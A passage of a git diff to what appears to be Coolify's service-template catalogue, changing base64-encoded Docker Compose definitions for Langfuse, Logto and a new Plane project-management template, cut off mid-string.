LSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2607,7 +2622,7 @@ "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", - "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xPR1RPCiAgICAgIC0gVFJVU1RfUFJPWFlfSEVBREVSPTEKICAgICAgLSAnREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICAgIC0gRU5EUE9JTlQ9JExPR1RPX0VORFBPSU5UCiAgICAgIC0gQURNSU5fRU5EUE9JTlQ9JExPR1RPX0FETUlOX0VORFBPSU5UCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2V4aXQgMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC1hbHBpbmUnCiAgICB1c2VyOiBwb3N0Z3JlcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFBPU1RHUkVTX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgUE9TVEdSRVNfREI6ICcke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICB2b2x1bWVzOgogICAgICAtICdsb2d0by1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBwZ19pc3JlYWR5CiAgICAgICAgLSAnLVUnCiAgICAgICAgLSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgICAgLSAnLWQnCiAgICAgICAgLSAkUE9TVEdSRVNfREIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBydW4gYWx0ZXJhdGlvbiBkZXBsb3kgbGF0ZXN0ICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xPR1RPCiAgICAgIC0gVFJVU1RfUFJPWFlfSEVBREVSPTEKICAgICAgLSAnREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICAgIC0gRU5EUE9JTlQ9JExPR1RPX0VORFBPSU5UCiAgICAgIC0gQURNSU5fRU5EUE9JTlQ9JExPR1RPX0FETUlOX0VORFBPSU5UCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2V4aXQgMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC1hbHBpbmUnCiAgICB1c2VyOiBwb3N0Z3JlcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFBPU1RHUkVTX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgUE9TVEdSRVNfREI6ICcke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICB2b2x1bWVzOgogICAgICAtICdsb2d0by1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBwZ19pc3JlYWR5CiAgICAgICAgLSAnLVUnCiAgICAgICAgLSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgICAgLSAnLWQnCiAgICAgICAgLSAkUE9TVEdSRVNfREIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "logto", "identity", @@ -3703,6 +3718,28 @@ "minversion": "0.0.0", "port": "80" }, + "plane": { + "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", + "slogan": "The open source project management tool", + "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LXByb3h5LWVudjoKICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogIEJVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCngtYXBwLWVudjoKICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVApzZXJ2aWNlczoKICBwcm94eToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9QTEFORQogICAgICAtICdBUFBfRE9NQUlOPSR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICAtICdTSVRFX0FERFJFU1M9OjgwJwogICAgICAtICdGSUxFX1NJWkVfTElNSVQ9JHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICAtICdCVUNLRVRfTkFNRT0ke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICB2b2x1bWVzOgogICAgICAtICdwcm94eV9jb25maWc6L2NvbmZpZycKICAgICAgLSAncHJveHlfZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWZyb250ZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdvcmtlcgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC1xTy0gaHR0cDovL2Bob3N0bmFtZWA6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHNwYWNlOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtc3BhY2U6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd29ya2VyCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFkbWluOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1saXZlOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBJX0JBU0VfVVJMOiAnJHtBUElfQkFTRV9VUkw6LWh0dHA6Ly9hcGk6ODAwMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYXBpOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtYXBpLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2FwaTovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtd29ya2VyLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX3dvcmtlcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYmVhdC13b3JrZXI6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV